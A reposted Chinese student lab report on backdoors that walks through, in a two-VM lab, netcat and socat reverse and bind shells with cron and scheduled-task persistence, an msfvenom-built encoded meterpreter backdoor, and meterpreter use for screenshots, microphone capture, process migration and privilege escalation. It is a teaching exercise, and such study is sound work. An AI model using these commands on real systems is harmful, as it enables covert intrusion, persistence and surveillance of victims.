2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践

Posted fenixren

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践相关的知识,希望对你有一定的参考价值。

2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践

1.实验内容

  • (1)使用netcat获取主机操作Shell,cron启动
  • (2)使用socat获取主机操作Shell, 任务计划启动
  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。加分内容一并写入本实验报告。

实验环境

  • 关闭防火墙的win7虚拟机,我的ip地址为:192.168.235.138
  • kali虚拟机.ip地址为:192.168.235.137
  • 两台虚拟机可以ping通

实验中用到的工具

  • netcat。在linux下叫ncat,我们的kali机自带,可以直接用man ncat 命令查看。windows7中,直接在浏览器里从 GitHub下载或者从自己机子里拖拽进去。
  • socat。netcat的增强版。安装方法同上。
  • meterpreter。kali机自带,只在kali中用

实验步骤

1.使用netcat获取主机操作Shell,cron启动

win7为坏人,linux为受害者。cron启动

  • win7监听,linux反弹连接
  • win7中cmd窗口中输入:netcat.exe -l -p 9999。 表示开始监听9999端口。注意,要在netcat所在的目录下进行输入。

技术图片

技术图片

 

  • kali中输入命令 nc 192.168.235.138 9999 -e /bin/sh。这时候win7的cmd窗口里就获取了linux的shell了

技术图片

技术图片

 

  • cron启动。Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。这里的cron启动时去让linux受害者去定时反弹连接win7。
  • 用crontab -e指令去增加一条定时任务,
  • 技术图片

     

  • 自己写。格式如下
    • # m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
    • 12 * * * * /bin/netcat 192.168.235.138 9999 -e /bin/sh 技术图片

技术图片

 

  • 写完输入指令crontab -l查看。 技术图片 
  • 技术图片

     

  • 每个小时的第12分钟,kali中就会自动执行那条指令,所以如果目标ip138的机子整好就在9999端口监听,那这时候就138就会获得kali的后门。当然也可以正向连接,linux作为受害者,cron指令写成nc -l -p 9999 -e /bin/sh,然后坏人机win7中nc IP 9999,也能获得shell

linux为坏人,win7为受害者。

  • linux监听,输入命令 nc -l -p 9999
  • win7去反弹连接,在ncat目录下输入 ncat.exe -e cmd.exe 192.168.235.137 9999 技术图片
  •   这时在linux中可以看到win7的cmd命令窗口
  • 技术图片

     

技术图片

2.使用socat获取主机操作Shell。 任务计划启动

  • 这意思是win7作为受害者,用系统里的任务计划启动,定时“要求被害”。所以,这里只做win7作为victim反向连接的。

技术图片 - 用man socat命令查看socat的介绍及相关用法: (socat图)

  • win7中打开控制面板,点击管理工具里的计划任务
  • 技术图片
  • 点击右侧的创建任务,在常规选项卡里填名称,自己以后要认得出来

技术图片

 

  • 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时

技术图片

 

  • 再点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5212 exec:cmd.exe,pty,stderr(作用是把cmd.exe绑定到端口5314,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置:

技术图片

 

  • 点击左侧的任务计划程序库,点击右边的显示所有任务,然后再中间部分找到自己刚创建的任务,右键运行,弹出一个taskeng.exe框,然后切换到kali

技术图片

技术图片

 

 

  • 在Kali Linux中输入socat - tcp:192.168.235.138:5212命令,可以成功得到一个cmd shell:

技术图片

 

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

后门就是一个程序。

  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。 典型的平台就包括有:
  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter. 揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。

  • 简单粗暴msfvenom -p windows/meterpreter/reversetcp LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212backdoor.exe 指令生成一个exe后门程序。完整指令是:msfvenom -p windows/meterpreter/reversetcp -x ./fenix.exe -e x86/shikataganai -i 5 -b ‘x00’ LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212backdoor.exe

  • 参数说明:

    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
    • -e 使用的编码器,用于对shellcode变形,为了免杀
    • -i 编码器的迭代次数。如上即使用该编码器编码5次
    • -b badchar是payload中需要去除的字符
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

技术图片

 

  • 现在文件生成好了,先再win7的命令行中输入ncat -l 5212> 20165212backdoor.exe开启监听并将接受的数据写入20165212backdoor.exe文件中

技术图片

 

  • 再kali中用ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe 指令将数据传过去

(传送成功的图)

技术图片

 

  • 彳亍,现在要用msf了,一个强大的平台。。。自己感受。kali中输入msfconsole:

技术图片

技术图片

 

  • 依次输入以下命令
    • use exploit/multi/handler
    • set payload windows/meterpreter/reverse_tcp
    • set LHOST 10.211.55.10 //注意此处应为Linux的IP!
    • set LPORT 5212 //后门程序里的端口号
    • show options
    • exploit

技术图片

 

  • 说明:

    • LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.235.137,坏人的ip
    • LPORT也需要和上一步生成backdoor.exe的一致,即5212;
    • payload也要一致,即windows/meterpreter/reverse_tcp
  • 现在去win中双击运行20165212_backdoor.exe,点了是没反应的 ,然后切回kali,通过msf的监听进程获得win的主动链接,并得到远程控制shell

技术图片

 

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 承接上面的。要是误操作什么的不小心关掉了其中什么东西也ok,win中任务管理器再进程中结束backdoor.exe,然后再照上面敲一遍。
  • 获取截屏:screenshot (截屏命令图(抓的屏图12))

  • 技术图片

     

  • 技术图片

     

  • 技术图片

     

  • 获取音频:record_mic

  • .技术图片

     

  • 技术图片

     

  • 获取摄像头和录像:webcamsnap/webcamstream。我的没成功,win7上没有驱动,我会尽快搞定 (摄像头失败)

  • 技术图片

     

  • getuid获取运行msf会话的用户名,从而查看当前会话具有的权限

  • sysinfo,获得目标系统的信息,机器名、操作系统等
  • shutdown命令,最后都试完了再输这个命令
  • ps获得受害者机上运行 的进程信息

技术图片

 

  • migrate []命令,例如我把msf会话移植到1588 中,是explorer.exe,稳定的系统服务。从头想起,我们的实验是把受害者绑起来给他植入后门,很无脑。如果是正常的利用系统漏洞、浏览器漏洞溢出而得到的会话,比如IE浏览器,那么msf meterpreter代码存在于IE的内存空间中,那边关掉IE浏览器,msf会话就没了,但是若存在于 explorer这样稳定的系统服务中,就能一直用。而且,这种移植是“无缝移植”,不用断开已有的TCP连接。

技术图片

 

  • execute命令,例如我直接与win的cmd.exe交互,我输入execute -H -i -f cmd.exe

技术图片

 

  • upload/download命令,顾名思义——往受害机传/从受害机下载 文件
  • .技术图片

     

  • 技术图片

     

  • cat/edit 命令,查看/编辑文本

技术图片

 

  • 权限提升getsystem,然后getuid查看权限(下图中好像已经是管理员权限)
  • 技术图片

     

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 别急,明天写

实验总结与体会

总结:

实验内容较多,尤其是是meterpreter实践,有很多很多事可以做,我只写了看起来重要且常用的一些指令,更多的请参考《Metasploit渗透测试魔鬼训练营》。本次实验在一个理想化程度很高的环境下完成,这样在现实中是没有任何意义的。相比较于msf中花里胡哨的操作,我觉得更重要的还是去研究有堆栈保护、有杀软、有防火墙的环境下如何渗透目标,哪怕是一个bit,因为要在那样的基础上我们后续的实验、操作才有可行性。或者是几个人凑各团队,每个人负责一块。

体会:

markdown里传图片功能坏了,我...

以上是关于2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践的主要内容,如果未能解决你的问题,请参考以下文章

2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165212《网络攻防技术》Exp5 MSF基础应用

2018-2019-2 网络对抗技术 20165324 网络对抗技术 Exp4:恶意代码分析

2018-2019-2 20165209 《网络对抗技术》 Kali安装

2018-2019-2 20165217《网络对抗技术》Exp7 网络欺诈防范

2018-2019-2 网络对抗技术 20165318 Exp7 网络欺诈防范